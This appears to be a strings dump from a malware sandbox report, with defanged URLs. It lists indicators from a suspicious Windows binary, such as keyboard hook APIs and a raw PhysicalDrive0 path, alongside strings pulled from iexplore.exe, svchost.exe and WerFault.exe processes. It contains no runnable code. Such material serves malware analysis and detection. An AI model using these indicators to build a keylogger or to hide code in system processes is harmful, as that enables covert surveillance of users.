UnhookWindowsHookEx

SetWindowsHookExA

SetKeyboardState

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

GetKeyboardType

.idata

.rdata

P.reloc

P.rsrc

*<>#%"{}|\^[]`

*<>#%"{}|\^[]`

config.dat

skin.dat

shlwapi.dll

hXXp://VVV.w3.org/2000/xmlns/

hXXp://VVV.w3.org/XML/1998/namespace

&#60;

&#38;

hXXp://VVV.w3.org/1999/XMLSchema-instance

hXXp://VVV.w3.org/2000/10/XMLSchema-instance

hXXp://VVV.w3.org/1999/XMLSchema

hXXp://VVV.w3.org/2000/10/XMLSchema

bin.base64

hXXp://schemas.xmlsoap.org/soap/encoding/

hXXp://VVV.borland.com/namespaces/Types

pathToSignedProductExe

pathToSignedReportingExe

\\.\PhysicalDrive0

.torrent

No valid DataSource: %s&FillSampleValues NumValues must be > 0*%s Angle must be between 0 and 359 degrees#DateTime Axis cannot be Logarithmic2Logarithmic Axis Min and Max values should be >= 0*Labels Separation % must be greater than 0

MaxPointsPerPage must be >= 0 3D effect percent must be between %d and %d Circular Series dependences are not allowed

%s of %s

##0.## %

#,##0.###

HVTab: Invalid number of arguments at VTabCreate. Expected [%d], got [%d](VTab: Dataset [%s] is not found or empty VTab: Operation is not supported!VTab: Savepoint [%d] is not found!VTab: Dataset modification failed/VTab: Explicit ROWID at INSERT is not supported9VTab: Dataset state was changed. Cannot perform operation"VTab: Specified row does not exist

VTab: Invalid cursor;TADLocalSQL must be attached to an active SQLite connection0VTab: DataSet [%s] is busy by another result set/Cannot perform action. DBTOOLn.DLL is not found/Top Legend Position must be between 0 and 100 %

First Legend Value must be > 0.Legend Color Width must be between 0 and 100 %%No ParentChart to validate DataSource

@Maximum length (%d) of transaction name exceeded - %d (NOE20/TX)@Too many close braces in names file after alias [%s] (NOE105/DB)0[%s] is not a callable PL/SQL object (NOE130/SP)2[%s, #%d] is not found in [%s] package (NOE134/SP)TParameter with type TABLE OF BOOLEAN/RECORD not supported (use TADQuery) (NOE135/SP)KParameter with type RECORD must be of named type (use TADQuery) (NOE142/SP))Cannot convert Oracle Number [%s] to TBcd7DBMS_PIPE event alerter supports only single event name9Cannot start a trace session, when there is an active one"Stored procedure [%s] is not founduArray-typed variable [%s] dimensions [%d] are not supported.

Only sigle dimensional simple type arrays are supportedqArray-typed variable [%s] unsupported element type [%d].

Only sigle dimensional simple type arrays are supportedCArray-typed variable [%s] item index [%d] is out of bounds [%d, %d]

Cannot describe type [%d].

%sHSQLite library initialization failed. Main code [%d], extended code [%d]/Database specified by [%p] handle was not found

 Connection parameter [%s] must be not empty|DbExpress driver configuration file [%s] is not found.

Possible reason: dbExpress is not properly installed on this machineUUnsupported MySQL version [%d].

Supported are client and server from v 3.20 to v 6.2

Port number cannot be changed&Error in parameter [%s] definition. %sFFailed to initialize embedded server.

See MySQL log files for details/Variable [%s] C data type [%d] is not supported

No cursors availableCCannot initialize OCI with character set [%s].

Possible reason: %s1Cannot assign value to BFILE/CFILE parameter [%s]HNo cursor parameters are defined. Include fiMeta into FetchOptions.Items9OCI is not properly installed on this machine (NOE1/INIT)ZUnsupported OCI library [%s] version [%s].

At least version 8.0.3 is required (NOE2/INIT)0Bad or undefined variable param type (NOE12/VAR)5Maximum length (%d) of GTRID exceeded - %d (NOE18/TX)5Maximum length (%d) of BQUAL exceeded - %d (NOE19/TX)

Class [%s] is not registered

Unknown storage format [%s]"Cannot move file [%s] to [%s].

%s!Invalid date interval format [%s]Ênnot execute host command [%s].

%s)String size must be of 1 character length.Character cannot be alphanumeric or whitespace

Invalid command [%s] syntax-ACCEPT statement must specify a variable name,DEFINE requires a value following equal sign

VARIABLE has missed right brace"VARIABLE has unsupported data typeÊnnot execute command. Not logged onlNo script commands registered.

Possible reason: uADCompScriptCommands unit is not linked to the application`No script to execute for [%s].

Possible reason: SQLScriptFileName and SQLScripts both are empty

5Bad text value [%s] format for mapping item [%s].

%s?Undefined source field or expression for destination field [%s]

Timeout expired"Cannot get access to BLOB raw datahVariable length data parameter [%s] overflow.

Value length - [%d], parameter data maximum length - [%d]PCannot perform nonblocking action, while other nonblocking action is in progress

Macro [%s] is not found7Parameter [%s] value index [%d] is out of range [0..%d]mCannot acquire item (connection) from pool.

Maximal number [%d] of simultaneous items (connections) reached.@.

To register it, you can drop component [%s] into your project>.

To register it, you can include unit [%s] into your project

Cannot read [%s] property

Cannot read [%s] object#Cannot read RAW data of [%s] object

rConnection is not defined for [%s].

Connection [%s] must be online

Table adapter [%s] cannot be assigned to [%s], because it is

already assigned to [%s] and cannot be shared across few datasets6Dataset connection does not match to called connection Table [%s] must have primary keyWLocal SQL engine misusage by [%s].

Hint: activate connection before activating dataset=Table [%s] index [%s] must be existing non-expressional index

Dataset name must be not empty?Dataset name [%s] must be unique across Local SQL [%s] datasets

Text field [%s] is not found

Destination dataset not set;Destination text data file name or stream must be specified6Source text data file name or stream must be specified=Text field [%s] size is undefined in Fixed Size Record format"Text field [%s] name is Duplicated

ADManager must be active#Connection name [%s] must be unique Connection [%s] must be inactive

Connection [%s] must be active)Connection [%s] establishment is canceled

Connection [%s] cannot be pooled.

Possible reason: connection definition is not in the ADManager.ConnectionDefs list or

TADConnection.Params has additional parameters

Connection [%s] is not found

Possible reason: [%s] ConnectionName property is misspelled or references to nonexistent connection$Command [%s] must be in active state&Command [%s] must be in inactive state*Dataset [%s] must be in cached update mode

Param [%s] type changed from [ft%s] to [ft%s]. Query must be reprepared.

Possible reason: an assignment to a TADParam.AsXXX property implicitly changed the parameter data type.

Hint: use the TADParam.Value or appropriate TADParam.AsXXX property1A meta data argument [%s] value must be specified

Expected number of parameters is [%d], but actual number is [%d].

Possible reason: a parameter was added or deletedsData too large for variable [%s]. Max len = [%d], actual len = [%d]

Hint: set the TADParam.Size to a greater value

Database [%s] does not exist

Access 2003 or earlier: hXXp://support.microsoft.com/kb/239114

Access 2007: hXXp://VVV.microsoft.com/download/en/details.aspx?displaylang=en&id=23734

Access 2010: hXXp://VVV.microsoft.com/download/en/details.aspx?id=13255{JRO.JetEngine class is missing on client machine.

Hint: install latest engine from: hXXp://support.microsoft.com/kb/239114aDatabase format is not recognized.

Possible reason: DBVersion value mismatches database version.&Specified database password is invalid

Unknown OLE error1To perform operation DriverLink must be specified To perform operation service must be activeGCannot deinstall a SQLite collation, while there are active connections?%s command %s [%d] instead of [1] record.

Possible reasons: %s<Operation cannot be performed without assigned SelectCommand

*Too many login retries. Allowed [%d] times1To perform operation driver manager, must be [%s]

Character [%s] is missed

Too long identifier (> 255)6Parameter [%s] ArraySize [%d] is less than ATimes [%d]=Cannot perform action, because previous action is in progress%Escape function [%s] is not supported8Define(mmReset) is only supported for metainfo retrieval6Cannot generate update query. WHERE condition is empty4Cannot generate update query. Update table undefined

Cannot parse object name - [%s])Syntax error in escape function [%s].

%shADPhysManager shutdown timeout.

Possible reason: application has not released all connection interfaceszParameter [%s] data type is unknown.

Hint: specify TADParam.DataType or assign TADParam value before Prepare/Execute call)Parameter [%s] data type is not supported&Column [%s] data type is not supported

Capability is not supported

Transaction [%s] must be activeCTransaction [%s] must be inactive. Nested transactions are disabled

Hint: use Execute / ExecSQL method for non-SELECT commands!Command must be is prepared state]Cannot execute command returning result sets.

Hint: use Open method for SELECT-like commands!Command must be open for fetching/Exact %s [%d] of rows, while [%d] was requested

Meta information mismatchvCannot load vendor library [%s].

%sHint: check it is in the PATH or application EXE directories, and has x86 bitness./Cannot get vendor library entry point[s].

LBookmark key fields [%s] are incompatible

with dataset [%s] key fields [%s] Record editing for dataset [%s] is disabled-Record inserting for dataset [%s] is disabled,Record deleting for dataset [%s] is disabled=Field [%s] specified within %s of DataSet [%s] does not existeCannot set dataset [%s] to offline mode.

Hint: check that FetchOptions.AutoFetchAll is not afDisable|Cannot turn off cached updates mode for DataSet [%s].

Hint: dataset has updated rows, cancel or apply updates before action.Cannot make definition [%s] circular reference7Cannot %s definition [%s]. It has associated connection!Cannot make definition persistent9Cannot load definition list, because it is already loaded$Definition [%s] is not found in [%s]"Definition name [%s] is duplicated"Driver [%s] is not registered.

%sXDriver [%s] cannot be released.

Set TADConnection.DriverName or add DriverID to your connection definition

.Arithmetic in filter expressions not supported>Operation cannot mix aggregate value with record-varying value

%s&Bookmark is not found for dataset [%s]

View [%s] is not a sorted view"Adapter interface must be suppliedUCannot set MasterSource for dataset [%s].

Nested datasets cannot have a MasterSourceMCannot set MasterSource for dataset [%s].

Circular datalinks are not alloweduCannot refresh dataset [%s].

Cannot open dataset [%s].

Hint: if that is TADMemTable, use CreateDataSet or CloneCursor to open dataset(Index [%s] is not found for dataset [%s],Aggregate [%s] is not found for dataset [%s]6Index [%s] definition is not complete for dataset [%s]:Aggregate [%s] definition is not complete for dataset [%s]7Cannot perform operation on unidirectional dataset [%s]

,Value [%s] is out of range of [%s] data typeuColumn or function [%s] is not found.

Invalid use of keyword

Invalid character found [%s]

'(' expected but [%s] found"')' or ',' expected but [%s] found

')' expected but [%s] found"IN predicate list may not be empty

Expected [%s]

'Column [%s] is not reference to row set&Cannot perform operation for row state4Cannot change updates registry for DatS manager [%s]"Too many aggregate values per view9Grouping level exceeds maximum allowed for aggregate [%s]XVariable length column [%s] overflow.

Value length - [%d], column maximum length - [%d]

Invalid foreign key [%s]

Invalid unique key [%s]#Cannot change column [%s] data type

Invalid relation [%s](Cannot create parent view. Relation [%s]7Cannot change table [%s] structure, when table has rows;Found a cascading actions loop at checking foreign key [%s]

Record is not lockedFAssigning value [%s] is not compatible with column [%s] data type.

_Fixed length column [%s] data length mismatch.

Value length - [%d], column fixed length - [%d]

Column [%s] is read only

Cannot insert row into table"Column [%s] value must be not null4Duplicate row found on unique index. Constraint [%s]/Cannot process - no parent row. Constraint [%s]2Cannot process - child rows found. Constraint [%s]

Cannot compare rowsÚta type conversion is not supported

Column [%s] is not searchable=Row may have only single column of [dtParentRowRef] data typewCannot read data from or write data to the invariant column [%s].

Row is not nested)Column [%s] is not reference to other row

Invalid duration string: %s#Hour Offset portion of time invalid

%s is not a valid hex string!Odd size not valid for WideString

Must have a target stream#Name [%s] is duplicated in the list

Object [%s] is not found(Column [%s] type is unknown or undefined

Constraint [%s]

Cannot begin edit row'Cannot create child view. Relation [%s]

Cannot delete row Column [%s] must have blob value

4DOM Implementation does not support IDOMParseOptions

Node is readonlyCRefresh is only supported if the FileName or XML properties are set

Interface %s has no RTTI5Parameter %s on Method %s of Interface %s has no RTTI

Invalid date string: %s

Invalid time string: %s

Invalid hour: %d

Invalid minute: %d

Invalid second: %d

Invalid millisecond: %d

Invalid hour offset: %d

Invalid day: %d

Invalid month: %d

Error creating file "%s"5Unhandled Xerces DOM error (no message available): %d

Node "%s" not found

IDOMNode required.Attributes are not supported on this node type

<Selected DOM Vendor does not support this property or method;Property or Method "%s" is not supported by DOM Vendor "%s"

Error downloading URL: %s

Unable to load %s

Not supported1Attribute already associated with another element

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s.Invalid class reference for TAppletApplication

Invalid stream operation

Error)"%s" DOMImplementation already registered

No matching DOM Vendor: "%s"

No help found for %s#No context-sensitive help installed$No topic-based help system installed

No help keyword specified.

Text exceeds memo capacity.There is no default printer currently selected/Menu '%s' is already being used by another form

Value*A key with the name of "%s" already exists

Key "%s" not found%goColMoving is not a supported option%Key may not contain equals sign ("=")

Error setting %s.Count8Listbox (%s) style must be virtual in order to set Count"Unable to find a Table of Contents

Value must be between %d and %d

Invalid clipboard format Clipboard does not support Icons

Invalid input value7Invalid input value. Use escape key to abandon changes

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

%s property out of range

Execute not supported: %s1Operation not allowed on a unidirectional dataset

%s is not a valid BCD value

Invalid format type for BCD$Could not parse SQL TimeStamp string

Invalid SQL date/time values

Metafile is not valid!Cannot change the size of an icon Invalid operation on TOleGraphic

Unsupported clipboard format

7'%s' is not a valid floating point value for field '%s'6Type mismatch for field '%s', expecting: %s actual: %s6Size mismatch for field '%s', expecting: %d actual: %d Invalid variant type or size for field '%s'#Value of field '%s' is out of range

Field '%s' must have a value

Field '%s' has no dataset"Circular datalinks are not allowed/Lookup information for field '%s' is incomplete0Cannot perform this operation on an open dataset"Dataset not in edit or insert mode1Cannot perform this operation on a closed dataset#Nested dataset must inherit from %s

SQL not supported: %s

Invalid FieldKind Field '%s' is of an unknown type

Duplicate field name '%s'

Field '%s' not found#Cannot access field '%s' as type %s

Invalid value for field '%s'E%g is not a valid value for field '%s'. The allowed range is %g to %gE%s is not a valid value for field '%s'. The allowed range is %s to %s0'%s' is not a valid integer value for field '%s'0'%s' is not a valid boolean value for field '%s'

Unknown credentials use!Do AcquireCredentialsHandle first"CompleteAuthToken is not supported

Failed to load %s.

SSL status: "%s"

%s Alert

%s Read Alert

%s Write Alert

The domain controller certificate used for smartcard logon has expired. Please contact your system administrator with the contents of your system event log.

The domain controller certificate used for smartcard logon has been revoked. Please contact your system administrator with the contents of your system event log.IA signature operation must be performed before the user can authenticate.AOne or more of the parameters passed to the function was invalid.DClient policy does not allow credential delegation to target server.bClient policy does not allow credential delegation to target server with NLTM only authentication.1The recipient rejected the renegotiation request.-The required security context does not exist.`The PKU2U protocol encountered an error while attempting to utilize the associated certificates.:The identity of the server computer could not be verified.

Unknown error#SSPI %s returns error #%d(0x%x): %s0SSPI interface has failed to initialise properly

QAn unsupported preauthentication mechanism was presented to the Kerberos package.

The requested operation cannot be completed. The computer must be trusted for delegation and the current user account must be configured to allow delegation.7Client's supplied SSPI channel bindings were incorrect.9The received certificate was mapped to multiple accounts.

SEC_E_NO_KERB_KEY5The certificate is not valid for the requested usage.

The smartcard certificate used for authentication has been revoked. Please contact your system administrator. There may be additional information in the event log.

An untrusted certificate authority was detected While processing the smartcard certificate used for authentication. Please contact your system administrator.

The revocation status of the smartcard certificate used for authentication could not be determined. Please contact your system administrator.lThe smartcard certificate used for authentication was not trusted. Please contact your system administrator.hThe smartcard certificate used for authentication has expired. Please contact your system administrator.

The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user.

An attempt was made by this server to make a Kerberos constrained delegation request for a target outside of the server's realm. This is not supported, and indicates a misconfiguration on this server's allowed to delegate to list. Please contact your administrator.

The revocation status of the domain controller certificate used for smartcard authentication could not be determined. There is additional information in the system event log. Please contact your system administrator.

An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Please contact your system administrator.

dA security context was deleted before the context was completed. This is considered a logon failure.mThe client is trying to negotiate a context and the server requires user-to-user but didn't send a TGT reply.aUnable to accomplish the requested task because the local machine does not have any IP addresses.bThe supplied credential handle does not match the credential associated with the security context.]The crypto system or checksum function is invalid because a required function is unavailable.9The number of maximum ticket referrals has been exceeded.KThe local machine must be a Kerberos KDC (domain controller) and it is not.qThe other end of the security negotiation is requires strong crypto but it is not supported on the local machine.5The KDC reply contained more than one principal name.OExpected to find PA data for a hint of what etype to use, but it was not found.

The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Please contact your administrator.-Smartcard logon is required and was not used.!A system shutdown is in progress.'An invalid request was sent to the KDC.DThe KDC was unable to generate a referral for the service requested.:The encryption type requested is not supported by the KDC.

DThe supplied message is incomplete. The signature was not verified.lThe credentials supplied were not complete, and could not be verified. The context could not be initialized.1The buffers supplied to a function was too small.

The credentials supplied were not complete, and could not be verified. Additional information can be returned from the context.4The context data must be renegotiated with the peer.'The target principal name is incorrect.:There is no LSA mode context associated with this context.8The clocks on the client and server machines are skewed.;The certificate chain was issued by an untrusted authority.7The message received was unexpected or badly formatted.;An unknown error occurred while processing the certificate.%The received certificate has expired.*The specified data could not be encrypted.*The specified data could not be decrypted.YThe client and server cannot communicate, because they do not possess a common algorithm.

-The token supplied to the function is invalid^The security package is not able to marshall the logon buffer, so the logon attempt has failedNThe per-message Quality of Protection is not supported by the security package?The security context does not allow impersonation of the client

The logon attempt failed;The credentials supplied to the package were not recognized4No credentials are available in the security packageCThe message or signature supplied for verification has been altered8The message supplied for verification is out of sequence3No authority could be contacted for authentication.UThe function completed successfully, but must be called again to complete the contextEThe function completed successfully, but CompleteToken must be calledtThe function completed successfully, but both CompleteToken and this function must be called to complete the contextsThe logon was completed, but no network authority was available. The logon was made using locally known information-The requested security package does not exist2The context has expired and can no longer be used.

/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

The handle specified is invalid'The function requested is not supported.The specified target is unknown or unreachable0The Local Security Authority cannot be contacted-The requested security package does not exist6The caller is not the owner of the desired credentialsBThe security package failed to initialize, and cannot be installed

128-Byte PrefetchingeCPUID leaf 2 does not report cache descriptor information, use CPUID leaf 4 to query cache parameters

Windows 8.1

Windows Server 2012 R2

Invalid MMF name "%s"*The MMF named "%s" cannot be created empty

Win32 error: %s (%u)%s%s

OLE error %.8x.Method '%s' not supported by automation object

"%s" does not match RootKey

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.

Reply Code is not valid: %s

Reply Code already exists: %s(Failed to get ANSI replacement character#Unable to open key "%s\%s" for read0Unable to open key "%s\%s" and access value "%s"#"%s\%s\%s" is of wrong kind or size

Command not supported.

Address type not supported."%s: Circular links are not allowed"Not enough data in buffer. (%d/%d)

File "%s" not found

Object type not supported.

Host field is empty)UDP is not support in this SOCKS version.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

IOHandler value is not valid'Algorithm %s not permitted in FIPS mode

Unknown Protocol(Request method requires HTTP version 1.1KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Invalid Port Range (%d - %d)

%s is not a valid service.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

Set Size Exceeded.,Character Index %d out of Range, Length = %d:Character at Index %d is not a valid UTF-16 High Surrogate9Character at Index %d is not a valid UTF-16 Low Surrogate*Missing a Low Surrogate in UTF-16 sequence

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Socket operation on non-socket.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

Resolving hostname %s.

Connecting to %s.

Socket Error # %d

Operation would block.

Operation now in progress.

Operation already in progress.

$Operation not allowed on sorted list Too many rows or columns deleted$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Invalid destination array"Character index out of bounds (%d)

Invalid count (%d)

Invalid destination index (%d)

Invalid codepage (%d)4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Invalid property type: %s

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to create key %s

Failed to get data for '%s'

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s1Fixed column count must be less than column count Fixed row count must be less than row count

Cannot open file "%s". %s

Grid too large for operation

'%s' is an invalid mask at (%d)$''%s'' is not a valid component name

Invalid property element: %s

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Interface not supported

%s (%s, line %d)

Operation aborted(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid date

'%s' is not a valid time!'%s' is not a valid date and time '%d.%d' is not a valid timestamp

'%s' is not a valid GUID value

I/O error %d

iexplore.exe_3340:

.text

`.data

.rsrc

@.reloc

>.uzf

.us;}

IEFRAME.dll

MLANG.dll

iertutil.dll

urlmon.dll

ole32.dll

SHELL32.dll

SHLWAPI.dll

msvcrt.dll

USER32.dll

KERNEL32.dll

ADVAPI32.dll

RegOpenKeyExW

RegCloseKey

GetWindowsDirectoryW

_amsg_exit

_wcmdln

UrlApplySchemeW

PathIsURLW

UrlCanonicalizeW

UrlCreateFromPathW

iexplore.pdb

KEYW

KEYWh

KEYWD

.ENNNG.

a.ry.v

l.igM4

?1%SGf

xh.JW^

.97777"7" " " !

3.... ))

8888888888888

8888888888

.lPV)

úW1

.ApX/

H.ZAf

ð[U

%s!FK

1YYYY1YY9GEAA=77YRNNNW:.VT1

888777777

Y.hilkRROMLK=C,

..(((($$

3...((((%

3....(.''$

3.2...((((%

33.2....(,'

55323222...

(%&'00443445?

00.,,,4(

000.,,9(

0020..9(

003200;(

(#'( (''''!'!

Microsoft.InternetExplorer.Default

user32.dll

Kernel32.DLL

xfire.exe

wlmail.exe

winamp.exe

waol.exe

sidebar.exe

psocdesigner.exe

np.exe

netscape.exe

netcaptor.exe

neoplanet.exe

msn.exe

mshtmpad.exe

mshta.exe

loader42.exe

infopath.exe

iexplore.exe

iepreview.exe

groove.exe

explorer.exe

dreamweaver.exe

contribute.exe

aol.exe

{28fb17e0-d393-439d-9a21-9474a070473a}

Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings

DShell32.dll

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe

Software\Microsoft\Active Setup\Installed Components\>{26923b43-4d38-484f-9b9e-de460746276c}

"%s" %s

Kernel32.dll

\AppPatch\sysmain.sdb

-extoff go.microsoft.com/fwlink/?LinkId=106323

-extoff go.microsoft.com/fwlink/?LinkId=106322

-extoff go.microsoft.com/fwlink/?LinkId=106320

kernel32.dll

{00000000-0000-0000-0000-000000000000}

\\?\Volume

shell:%s

Imaging_CreateWebPagePreview_Perftrack

Browseui_Tabs_Tearoff_BetweenWindows

Frame_URLEntered

Imaging_CreateWebPagePreview

WS_ExecuteQuery

Shdocvw_BaseBrowser_FireEvent_WindowStateChanged

IdleTask_Execution_Time

9.00.8112.16421 (WIN7_IE9_RTM.110308-0330)

IEXPLORE.EXE

Windows

9.00.8112.16421

iexplore.exe_2444:

.text

`.data

.rsrc

@.reloc

>.uzf

.us;}

IEFRAME.dll

MLANG.dll

iertutil.dll

urlmon.dll

ole32.dll

SHELL32.dll

SHLWAPI.dll

msvcrt.dll

USER32.dll

KERNEL32.dll

ADVAPI32.dll

RegOpenKeyExW

RegCloseKey

GetWindowsDirectoryW

_amsg_exit

_wcmdln

UrlApplySchemeW

PathIsURLW

UrlCanonicalizeW

UrlCreateFromPathW

iexplore.pdb

KEYW

KEYWh

KEYWD

.ENNNG.

a.ry.v

l.igM4

?1%SGf

xh.JW^

.97777"7" " " !

3.... ))

8888888888888

8888888888

.lPV)

úW1

.ApX/

H.ZAf

ð[U

%s!FK

1YYYY1YY9GEAA=77YRNNNW:.VT1

888777777

Y.hilkRROMLK=C,

..(((($$

3...((((%

3....(.''$

3.2...((((%

33.2....(,'

55323222...

(%&'00443445?

00.,,,4(

000.,,9(

0020..9(

003200;(

(#'( (''''!'!

Microsoft.InternetExplorer.Default

user32.dll

Kernel32.DLL

xfire.exe

wlmail.exe

winamp.exe

waol.exe

sidebar.exe

psocdesigner.exe

np.exe

netscape.exe

netcaptor.exe

neoplanet.exe

msn.exe

mshtmpad.exe

mshta.exe

loader42.exe

infopath.exe

iexplore.exe

iepreview.exe

groove.exe

explorer.exe

dreamweaver.exe

contribute.exe

aol.exe

{28fb17e0-d393-439d-9a21-9474a070473a}

Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings

DShell32.dll

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe

Software\Microsoft\Active Setup\Installed Components\>{26923b43-4d38-484f-9b9e-de460746276c}

"%s" %s

Kernel32.dll

\AppPatch\sysmain.sdb

-extoff go.microsoft.com/fwlink/?LinkId=106323

-extoff go.microsoft.com/fwlink/?LinkId=106322

-extoff go.microsoft.com/fwlink/?LinkId=106320

kernel32.dll

{00000000-0000-0000-0000-000000000000}

\\?\Volume

shell:%s

Imaging_CreateWebPagePreview_Perftrack

Browseui_Tabs_Tearoff_BetweenWindows

Frame_URLEntered

Imaging_CreateWebPagePreview

WS_ExecuteQuery

Shdocvw_BaseBrowser_FireEvent_WindowStateChanged

IdleTask_Execution_Time

9.00.8112.16421 (WIN7_IE9_RTM.110308-0330)

IEXPLORE.EXE

Windows

9.00.8112.16421

svchost.exe_3716:

.text

`.data

.rsrc

@.reloc

msvcrt.dll

API-MS-Win-Core-ProcessThreads-L1-1-0.dll

KERNEL32.dll

NTDLL.DLL

API-MS-Win-Security-Base-L1-1-0.dll

API-MS-WIN-Service-Core-L1-1-0.dll

API-MS-WIN-Service-winsvc-L1-1-0.dll

RPCRT4.dll

ole32.dll

ntdll.dll

_amsg_exit

RegCloseKey

RegOpenKeyExW

GetProcessHeap

svchost.pdb

version="5.1.0.0"

name="Microsoft.Windows.Services.SvcHost"

<description>Host Process for Windows Services</description>

<requestedExecutionLevel

Software\Microsoft\Windows NT\CurrentVersion\Svchost

Software\Microsoft\Windows NT\CurrentVersion\MgdSvchost

\PIPE\

Host Process for Windows Services

6.1.7600.16385 (win7_rtm.090713-1255)

svchost.exe

Windows

Operating System

6.1.7600.16385

WerFault.exe_2628:

.text

`.data

.rsrc

@.reloc

ADVAPI32.dll

ntdll.DLL

KERNEL32.dll

USER32.dll

msvcrt.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

IMM32.dll

wer.dll

COMCTL32.dll

faultrep.dll

Starting kernel vertical - %S

rundll32.exe

NtQueryInformationProcess failed with status: 0x%x

Reporting never started for process id %u

StringCchPrintf failed with 0x%x

NtWow64QueryInformationProcess64 failed with 0x%x

NtWow64ReadVirtualMemory64 failed with 0x%x

NtQueryInformationProcess failed with status 0x%x

WerpNtWow64QueryInformationProcess64 failed with status 0x%x

StringCchCopy failed with 0x%x

Invalid arg in %s

wdi.dll

dbgeng.dll

dbghelp.dll

SETUPAPI.dll

SHELL32.dll

VERSION.dll

WTSAPI32.dll

WerFault.pdb

PSShD

tSSh,<K

t.PSj6

t5SSh

SShx`K

tsShxcK

t.Ph0jK

_amsg_exit

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegEnumKeyExW

RegQueryInfoKeyW

GetProcessHeap

GetWindowsDirectoryW

RegDeleteKeyW

ReportEventW

RegOpenKeyW

RegSetKeyValueW

GetProcessWindowStation

EnumWindows

NtAlpcSendWaitReceivePort

NtAlpcConnectPort

ShipAssert

ntdll.dll

RegisterErrorReportingDialog

WerReportSubmit

WerReportAddFile

WerReportCreate

WerReportCloseHandle

WerReportSetUIOption

WerpGetReportConsent

WerpSetIntegratorReportId

WerpReportCancel

WerpAddRegisteredDataToReport

WerReportAddDump

WerpCreateIntegratorReportId

WerpSetReportFlags

WerpGetReportFlags

WerpIsTransportAvailable

WerReportSetParameter

WerpInitiateCrashReporting

version="1.0.0.0"

name="Microsoft.Windows.Feedback.Watson"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">

</asmv3:windowsSettings>

<requestedExecutionLevel

ÝCD0

#$$$3355<

##$$$335566

% "#$$$3355666=

"#$$33555666

!.DQ$

.Py>o

Kÿg

.ib:?

T3%X_

a,M.cbd

KEYW8

KEYWH

? ?$?(?,?0?4?8?

1 2$2(2,20242

>,?0?4?8?<?@?

?%?5?:?|?

5'565^5{5

3#3(353_3

=#='= =/=3=7=;=?=

=#=(=>=]=

>!>&>3>}>

1!1&131[1

Microsoft\Windows\WindowsErrorReporting\WerFault

%s %s

Global\WerKernelVerticalReporting

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl

CrashDumpEnabled.Old

CrashDumpEnabled.New

%SystemRoot%\MEMORY.DMP

LiveKernelReports

Software\Microsoft\Windows\Windows Error Reporting\LiveKernelReports

LiveKernelReportsPath

BCCode=%x&BCP1=%p&BCP2=%p&BCP3=%p&BCP4=%p&OS Version=%u_%u_%u&Service Pack=%u_%u&Product=%u_%u

*WerKernelReporting

%SYSTEMROOT%\SYSTEM32\WerFault.exe -k -rq

SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

SOFTWARE\Microsoft\Windows\Windows Error Reporting\KernelFaults\Queue

sysdata.xml

%s -k -q

SOFTWARE\Microsoft\Windows NT\CurrentVersion

<OSVER>%u.%u.%u %u.%u</OSVER>

<OSLANGUAGE>%u</OSLANGUAGE>

<ARCHITECTURE>%u</ARCHITECTURE>

<PRODUCTTYPE>%u</PRODUCTTYPE>

<FILESIZE>%u</FILESIZE>

